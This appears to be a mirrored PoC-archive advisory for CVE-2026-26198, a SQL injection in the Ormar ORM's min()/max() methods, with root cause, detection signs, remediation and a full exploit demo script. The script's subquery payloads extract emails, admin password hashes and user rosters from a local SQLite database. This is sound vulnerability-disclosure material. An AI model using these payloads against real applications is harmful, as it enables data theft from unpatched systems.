PoC Archive PoC Archive
Critical CVE-2026-26198 (GHSA-xxh2-68g9-8jqr) patched

Ormar ORM SQL Injection via min()/max() Aggregate Methods (CVE-2026-26198)

by Sergi Cortés (sergicortesabadia) · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-26198 (GHSA-xxh2-68g9-8jqr)
Category
web
Affected product
Ormar (async Python ORM, commonly used with FastAPI/Starlette)
Affected versions
0.9.9 through 0.22.0 (fixed in 0.23.0)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-03
Author / ResearcherSergi Cortés (sergicortesabadia)
CVE / AdvisoryCVE-2026-26198 (GHSA-xxh2-68g9-8jqr)
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3, per source repository)
StatusPoC
Tagssql-injection, python, ormar, orm, fastapi, sqlalchemy, cwe-89, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemOrmar (async Python ORM, commonly used with FastAPI/Starlette)
Versions Affected0.9.9 through 0.22.0 (fixed in 0.23.0)
Language / PlatformPython 3, FastAPI/SQLAlchemy-based applications using Ormar
Authentication RequiredNo
Network Access RequiredYes (any application endpoint that exposes an Ormar min()/max() aggregate call with attacker-influenced column input)

Summary

CVE-2026-26198 is a SQL injection vulnerability in the Ormar async ORM’s min() and max() aggregate query methods. While the sibling sum() and avg() methods validate that the supplied “column” parameter refers to an actual numeric field on the model, min() and max() skip validation entirely because they can legitimately operate on non-numeric fields (strings, dates) — but the fix for that removed all validation rather than just the numeric-type check. As a result, a string such as (SELECT password FROM users LIMIT 1) passed as the “column” argument flows unmodified into sqlalchemy.text(), which treats it as literal SQL, letting an attacker exfiltrate arbitrary data via a crafted subquery. The repository provides a runnable, self-contained reproduction: a minimal vulnerable FastAPI/Ormar app, an exploit demo script, a patched version showing the whitelist-based fix, and tests proving both the vulnerability and the fix.


Vulnerability Details

Root Cause

SelectAction.get_text_clause() in Ormar builds a raw sqlalchemy.text() expression directly from the user-supplied column string for min()/max() calls without validating that the string is an actual, existing model field name, unlike the parallel sum()/avg() code path which does perform that check.

Attack Vector

  1. Application exposes (directly or indirectly) an endpoint that calls Model.objects.max(column) or .min(column) with a column value influenced by user input.
  2. Attacker supplies a payload such as (SELECT password FROM users LIMIT 1) instead of a legitimate column name.
  3. Ormar passes this string unchanged into sqlalchemy.text(), which is wrapped in the aggregate SQL function (e.g. max((SELECT password FROM users LIMIT 1))) and executed against the database.
  4. The query result (e.g. an admin password hash) is returned to the attacker through the application’s normal response path for the aggregate value.

Impact

Unauthenticated, database-level SQL injection allowing arbitrary data exfiltration (and potentially further SQL-driven abuse) from any application built on a vulnerable Ormar version that exposes min()/max() with attacker-controlled column parameters.


Environment / Lab Setup

Target:   Python 3 app using ormar 0.9.9-0.22.0 with FastAPI/SQLAlchemy, SQLite (no external DB required for the demo)
Attacker: Python 3, pip install -r requirements.txt (pytest, ormar, fastapi, etc.)

Proof of Concept

PoC Script

See vulnerable_app.py, exploit_demo.py, patched_app.py, test_vulnerability.py, and root_cause.md in this folder.

1
2
3
pip install -r requirements.txt
python -m pytest test_vulnerability.py -v
python exploit_demo.py

vulnerable_app.py defines a minimal FastAPI/Ormar model and endpoint using the vulnerable max()/min() pattern; exploit_demo.py runs an interactive demonstration that injects a subquery as the “column” argument and shows the resulting data leak against a local SQLite database; test_vulnerability.py contains automated tests proving the injection works against the vulnerable app and is blocked by patched_app.py’s whitelist-based validation.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected SELECT/subquery syntax appearing in the “column” parameter of logged Ormar aggregate calls
  • Anomalous read access to sensitive tables (e.g. users/credentials) correlating with aggregate-endpoint requests
  • Application error logs showing SQL syntax errors from malformed injection attempts against min()/max() endpoints

Remediation

ActionDetail
Primary fixUpgrade to ormar 0.23.0 or later, which validates all aggregate method column parameters (min, max, sum, avg) against the model’s known field names
Interim mitigationNever pass user-controlled strings directly as the column argument to min()/max(); whitelist-validate any dynamic column selection against the model’s field list before calling these methods

References


Notes

Mirrored from https://github.com/sergicortesabadia/CVE-2026-26198-analysis on 2026-07-05.

exploit_demo.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
"""
CVE-2026-26198 — Safe Exploit Demonstration

Shows how an attacker can leverage the unvalidated min()/max() methods
to extract sensitive data from unrelated database tables.

Everything runs against an in-memory SQLite database. No external
systems are touched.

Usage:
    python exploit_demo.py
"""

import os
import tempfile

from vulnerable_app import ProductQuerySet, create_demo_database


def print_header(title: str) -> None:
    print(f"\n{'='*60}")
    print(f"  {title}")
    print(f"{'='*60}\n")


def print_step(num: int, desc: str) -> None:
    print(f"  [{num}] {desc}")


def demonstrate():
    # Setup: create a temp database
    db_fd, db_path = tempfile.mkstemp(suffix=".db")
    os.close(db_fd)

    try:
        create_demo_database(db_path)
        products = ProductQuerySet(db_path=db_path)
        qs = products.get_vulnerable_queryset()

        print_header("CVE-2026-26198: SQL Injection in Ormar ORM")

        # Step 1: Normal usage
        print_step(1, "Normal usage — getting the highest product price")
        result = qs.max("price")
        print(f"      max(price) = {result}")
        print(f"      Query: SELECT max(price) FROM products")
        print(f"      ✅ This is the intended behavior\n")

        # Step 2: The attack — inject a subquery
        print_step(2, "ATTACK — injecting a subquery to steal user emails")
        payload = "(SELECT group_concat(email) FROM users)"
        result = qs.max(payload)
        print(f"      Payload:  max({payload})")
        print(f"      Query:    SELECT max({payload}) FROM products")
        print(f"      Result:   {result}")
        print(f"      ⚠️  LEAKED: All user emails from a completely different table!\n")

        # Step 3: Escalate — steal password hashes
        print_step(3, "ESCALATE — extracting admin password hash")
        payload = "(SELECT password_hash FROM users WHERE role='admin')"
        result = qs.max(payload)
        print(f"      Payload:  max({payload})")
        print(f"      Result:   {result}")
        print(f"      ⚠️  LEAKED: Admin password hash!\n")

        # Step 4: Full table dump
        print_step(4, "FULL DUMP — extracting all usernames and roles")
        payload = "(SELECT group_concat(username || ':' || role) FROM users)"
        result = qs.max(payload)
        print(f"      Payload:  max({payload})")
        print(f"      Result:   {result}")
        print(f"      ⚠️  LEAKED: Complete user roster with privilege levels!\n")

        # Step 5: Show that sum() is protected (the inconsistency)
        print_step(5, "COMPARISON — sum() rejects the same attack")
        try:
            qs.sum("(SELECT 1 FROM users)")
            print(f"      ❌ Sum should have rejected this!")
        except ValueError as e:
            print(f"      sum() raised ValueError: {e}")
            print(f"      ✅ sum() validates the column name, but min()/max() don't\n")

        # Summary
        print_header("Summary")
        print("  The vulnerability exists because min() and max() skip the")
        print("  column validation that sum() and avg() perform.")
        print()
        print("  Impact: Any endpoint that passes user input to min()/max()")
        print("  allows unauthenticated attackers to read the ENTIRE database.")
        print()
        print("  Real-world scenario: A FastAPI endpoint like")
        print('    GET /products/stats?aggregate=max&field=price')
        print("  becomes a full database dump if 'field' reaches ormar's max().")
        print()
        print("  Fix: Validate column names against the model's known fields")
        print("  BEFORE they reach sqlalchemy.text(). See patched_app.py")

    finally:
        os.unlink(db_path)


if __name__ == "__main__":
    demonstrate()